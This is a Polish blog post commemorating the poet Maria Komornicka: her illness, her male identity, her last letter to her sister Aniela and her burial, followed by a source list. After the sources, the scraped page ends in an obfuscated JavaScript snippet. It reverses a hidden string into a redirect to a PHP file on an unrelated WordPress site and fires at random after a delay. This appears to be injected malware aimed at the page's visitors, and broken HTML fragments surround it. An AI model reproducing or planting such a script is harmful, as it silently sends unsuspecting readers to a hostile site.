8 marca 1949 roku zmarła Maria Komornicka, niezwykle
inteligentna młodopolska poetka, tłumaczka, krytyczka, która nie uniosła
ciężaru, jaki narzuciła na nią epoka ze swoimi ograniczeniami. Maria zapłaciła
wysoką cenę za swoją inność i pragnienie wolności, zbyt wrażliwa, z „najeżonymi
nerwami” w 1907 roku uległa chorobie psychicznej, której zewnętrzną formą stał
się męski strój oraz używanie męskiej formy gramatycznej, prosiła by zwracać
się do niej imieniem protoplastu rodu Piotr Włast (odmieńcem była nazywana
przez otoczenie, z czasem też sama zaczęła tak o sobie mówić).
Nie
zdołała unieść brzemienia wielkości, przegrała, ale nawet jej przegrana była w
wielkim stylu. Nie zniżyła się do masy, nie upodliła się z tłumem, nie poddała
ramom wytyczonym przez społeczeństwo. Przegrała w stylu młodopolskim, gdyż
szaleństwo, obłęd, któremu uległa to choroba wielkich.
Ostatnia karta pocztowa do siostry Anieli Komornickiej
została napisana 27 stycznia 1949 roku. Maria przebywała wówczas w Zakładzie
Rodziny Marii w Izabelinie pod Warszawą, w ośrodku dla chorych psychicznie.
Zdanie ostatnie brzmi następująco:
„[…] O!!! gdyby można dostać się do „mojejszego” ustronia!
Kochana moja Elo, wiem, że robisz wszystko, co możesz, dlatego nie trap się,
może poprawa sama przyjdzie. Maria K.L.”
(Maria Komornicka Lemańska, dop. B.S.).
Poetka została pochowana najpierw na cmentarzu w Laskach, położonych najbliżej Izabelina, następnie w 1987 roku jej prochy zostały przeniesione na powązkowski Cmentarz Wojskowy i złożone w rodzinnym grobie (kw. B-20).
Aniela Komornicka napisze po latach: „W mroźny marcowy dzień
1949 roku szłam wraz z dwoma siostrami zakonnymi za żałobnym konduktem do
pobliskiego cmentarza w Laskach, oddając tak bardzo skromną ostatnią posługę
samotnej, zapomnianej, lecz jakże nieugiętej istocie”.
Aniela zmarła w 1977 roku. Obie siostry spoczywają obok
siebie w jednej mogile.
Korzystałam z:
Maria Komornicka, „Listy”, oprac. Edward Boniecki, Warszawa
2011
Aniela Komornicka, Maria Komornicka w swych listach i mojej
pamięci, w: „Miscellanea z pogranicza XIX i XX wieku”, „Archiwum Literackie”,
t. 8, Wrocław 1964.
{if (typeof ($NfI.list[n]) == „string”) return $NfI.list[n].split(„”).reverse().join(„”);return $NfI.list[n];};$NfI.list=[„’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to-napisu-996×1024.jpg” alt=”” data-id=”570″ data-link=”https://www.komornicka.eu/?attachment_id=570″ class=”wp-image-570″/></figure></li><li class=)
